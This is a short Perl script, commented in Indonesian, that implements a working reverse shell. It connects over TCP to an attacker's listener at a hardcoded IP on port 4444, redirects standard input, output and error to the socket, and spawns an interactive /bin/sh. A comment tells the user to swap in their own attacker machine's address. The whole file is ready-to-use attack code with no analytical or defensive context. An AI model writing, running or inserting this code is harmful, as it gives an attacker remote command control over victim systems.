#!/usr/bin/perl

use Socket;
use FileHandle;

# Ganti IP dengan IP Mesin Attacker/Listener Anda!
$ip = '172.17.32.1';
$port = 4444;

# 1. Inisialisasi Socket TCP
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp'));

# 2. Hubungi IP & Port Attacker
if (!connect(SOCKET, sockaddr_in($port, inet_aton($ip)))) {
    die("[-] Koneksi gagal: $!");
}

# 3. Redirect STDIN, STDOUT, STDERR ke Socket
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");

# 4. Spawn Shell (/bin/sh atau /bin/bash)
system("/bin/sh -i");